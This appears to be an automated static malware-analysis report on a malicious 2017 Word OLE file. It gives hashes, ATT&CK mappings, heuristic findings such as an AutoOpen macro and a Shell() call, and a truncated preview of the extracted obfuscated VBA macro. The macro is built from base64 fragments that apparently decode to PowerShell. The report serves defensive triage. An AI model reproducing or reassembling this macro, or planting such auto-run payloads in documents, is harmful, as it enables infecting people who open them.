Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 311f46bef3b6ce22…

MALICIOUS

Office (OLE)

78.0 KB Created: 2017-11-07 12:38:00 Authoring application: Microsoft Office Word First seen: 2017-11-13
MD5: b0d9af7c7feebb02dc4740021cc35ed3 SHA-1: a9fdcbdef24e714fc7b9a1e45a011fce60652f11 SHA-256: 311f46bef3b6ce22f41e64d00e6faeef00dadd1e79db789ba151d52356e0ae2e
184 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample is a malicious OLE document containing VBA macros. The AutoOpen macro triggers a Shell() call, which is highly suspicious and indicative of malware execution. The VBA code appears to be obfuscated, but the presence of the Shell() function strongly suggests it's designed to download and execute a secondary payload. The file's structure also shows a significant amount of slack space, which is a common characteristic of packed or obfuscated malware.

Heuristics 7

  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • OLE document has large unaccounted-for region high OLE_SLACK_ANOMALY
    OLE file is 79,872 bytes but its declared streams total only 35,458 bytes — 44,414 bytes (56%) live in unallocated sector slack. This is the canonical hiding place for pre-macro-era Office exploit payloads (XOR-encoded shellcode reached via a parser pointer-corruption bug in the document structure).
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 13472 bytes
SHA-256: dd9a4688dee7ad7489f78ffd0d0a8212dc0b901e1f1ca98663b93176972367d0
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 30 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "jnDMKMjJK"
Function obXcSiYvZ()
PjKJWC = Mid("qzcYowS3DDhXLwVVYiqAtADEANQAzAE4AMQAxADEATQAxADAAMwAtADEAMQA3AHkAMQAwADUALQAxADYAMQA6ADUANwBiADUANAB5ADEANQAwAGIAMQA2ADQATQAxADYANABSADEANgAwAC0ANwAyAE0ANQA3AHEANQA3AHEAMQA1ADQATgAxADQANQB3ADEANAAxAHcAMQA0ADQAewApmqipJO", 20, 193)
rpzbVPwI = Mid("5IuwP6imLVt7aWAHcAMQA1ADUAUgAxADQANQBSADQAMABOADcANQB3ADQAMAB3ADQANAB5ADEANgAyAC0AMQA0ADEALQAxADUANgB7ADEANAA0AHsAMQA1ADcAeQAxADUANQAtADUANgB3AD5CZwuzjLGBHo", 15, 130)
XTqEiFW = Mid("vfitATQA0ADcAdwA3ADMATgAxADQANgBNADEANQA3AE4AMQA2ADIAUgAxADQANQA6ADEANAAxAFIAMQA0ADMAeQAxADUAMABSADUAMABOADQANABxADUREfMGNPj", 5, 111)
vsSkfQrwFCN = Mid("vRQUUQHUtRzmmv0cBqXadoB1hMAB3ADEANQAxAE0AMQA1ADYAYgA0ADAATgA0ADQAOgAxADYANQAtADEANgAhi5AqJDF", 26, 59)
wiLTPinNBJ = Mid("na7n1H5m2MAwADYAUgAxADfpzDcj", 11, 12)
dpRKSRQJw = Mid("P9DEEPfSISSUqt1j7AAyAE4AMQA1ADIAOgAxADQANQBiADEANAAzAC0AMQA2ADQAdwA0ADAATgAxADIAMwB7ADEANwAxAC0AMQA2ADMAdwGMkL", 18, 89)
IMzwGz = Mid("wdMWvFtyAC0AMQA1ADQAUgAxADYAMwBSADUAMQBiADEANwAzAHsAMQA2ADQATgAxADYAMgB5ADEANwAxAHcAMQA3ADMAUgA0ADQAYgAxADYANwA6ADEANAA1AHEAMQA0ADNd8", 8, 123)
VCjwRW = Mid("Bm7Dj41i17Eozs77wq6KQJdFGt0ADUATgAxADEANwBOADEANAAyAE0AMQA1ADIAUgAxADQANQBxADEANAAzAE4AMQA2ADQAewA0ADAAcQAxADIANwB3ADEAMgAzAGIAMQA0ADMAeQAxADYAMgA6ADEANQAxAFIAMQA2ADAAcQAxADYANAAtADUANgA6ADERJ", 28, 163)
QCAGIH = Mid("Bzl48oKrpiRA0ADQAOgAxADYAMABxADEANAAxAHEAMQA2ADQAcQAxADUAMABxADcAMwA6ADEANAAyAE4AMQA2ADIAYgAxADQANQBiADEANAAxAGIAMQAMR", 12, 105)
MzwUiSjuip = Mid("vdAMQA0ADEAcQAxADQANgBiADEANAAxAHkAMQA2ADIAeQAxADUANQAtADEANgAzAHcANQA2AHEAMQA0ADMAUgAxADUANwAtADEANQA1AE4ANQA3AE4AMQAwADYAcQAxADYAMAB3ADEAMQAzAGIAMQAxADYAYgAxADEAMgBxADEAMgAiojwAXCNSI3MjDCNYu8m", 3, 172)
XqlhEcarzQ = Mid("GMmCOcxADQANQB7ADEANgAyAE4AMQA2ADMATgAxADQAMwB5ADEANQAwAHkAMQA1ADcALQAxADUANwB5ADEANQA0AHsANQA2AFIAMQA0ADMAeQAxADUANgBNADUANwBNADEAMwAwADoANQA3AHcANQA0AFIAMQA15nA7XapFsr1Y2hf6PAjfdFkEM7GwPS", 7, 153)
wFMzRzsdOVz = Mid("UoGTQTcpGT1d0msUxADAANABiADEANQA3AHEAMQA2ADcALQAxADUANgB3ADEANQA0AHkAMQA1ADcAeQAxADQAMQB7ADEANAA0AHsAMQh2O", 17, 87)
HTXFDiksK = Mid("K9VujwblANgA0AHEAMQA0ADUAdwLDC", 9, 19)
dMCwciSMjl = Mid("v8KvK5Y9fMo9R8SH9q5MxADQAMABNADQATJorp8nHEPXKHPLI", 21, 13)
rQzmtmKvIvH = Mid("dNQAwAHkANQAxAHkANQA0AC0ANAAwADoANAA0AE0AMQA2ADAAcQAxADQAMQAtADEANgA0AE0AMQA1ADAAOgA1ADEATQA3ADMAcQAxADIAMwA6ADEANgA0AHkAMQA0ADEALQAxADYAMgBNADEANgA0AHEANQA1ADoAMQAyADAAdwAxADYApIMzct5TTmfiOWVS99sSt7qwEpJiFt", 2, 176)
wnzPlrn = Mid("t2vbYoFwNgA3AHcAMQA0ADUAUgAxAFlh", 9, 21)
vvamO = Mid("4TUAMQAtADEANQA0ADoAMQA0ADUAcQA1ADAATgA0ADQAeQAxADYANQAtADEANgAyAFIAMQA1ADQALQA1ADYATgAxADIANAB7ADEANQA3AE0AMQAyADMAcQAxADYANABOADEANgAyAHcAMQA1ADEAYgAxADUANgA6ADEANAA3AFIAz5GkRYlwCVb", 3, 170)
wlQkEDIDvkm = Mid("bo3LcH0AGIAMQA1ADIAcQA1ADcAdwA1ADQAdwAxADUAMAAtADEANgA0AFIAMQA2ADQAcQAxADYAMABSADcAMgB3ADUANwB3ADUANwB3ADEANQA3AHsAMQA0ADYAdwAxADQANgB7ADEANQAxAHcAMQA0ADMAdwAxADUAMQA6ADEANAAxAHEAMQA1ADQAN4XdDK0Tv", 7, 181)
jRwGipdzq = Mid("7DEANQA3AFIAMQA1ADUAewA1ADcAcQAxADAANABSADEAMAAzAHsAMQA2ADAATQAxADYANQBiADEANwAyAHcAMQA1ADQAUgAxADYANAA6ADZdibPkfIZjsaZWf", 2, 105)
AdDDobiuBIi = Mid("YPSrZAEwAbABJAGQAWwAxAF0AKwAkAHMASABlAEwATABJAEQAWwAxADMAXQArACcAeAAnACkA7aqw1WUIw7JzkZZ8jNXL7wVcv8w", 6, 68)
KUikn = Mid("SR2I6AdKdot4qTPB0lkkZLTZANQA1AHcANQA3ADoAMQAyADYAUgAxADEAMAUKZG16sI", 25, 35)
zILzkw = Mid("mHS6V10C0AMQA1ADUAeQAxADYAMABNADQAMABxADUAMwBI5YiSif2wwij7Bzwq", 8, 38)
cjkzltj = Mid("6HQRoOq8LqwTdAdwA0ADAATgA3ADUALQA0ADAALQA0ADQATQAxADQANQBxADEANQA2ADoAMQA2ADYATQA3ADIAdwAxADYANABiADEANAA1AZ10iVpEpGu0oEKQACqz", 14, 94)
JsKMj = Mid("Rzp9Ci6QtUPBOAEcAXQAkAF8AKQAgACwAOAApACAALQBhAFMAIABbAEMAaABBAHIAXQApACAAfQAgACkAIAAtAEoATwBpAE4AIAAnACcAfAAuACgAIAAkAFMASABFcUmE", 12, 114)
fAvfHsi = Mid("OoLYoh4RwuNIhdCEANQA2AFIAMQA0ADUATgAxADcAMAB7ADEANgA0AFIANQAwAGIANgAxAC0ANQA0AGIANAAwAGIANgA2AC0ANgA
... (truncated)

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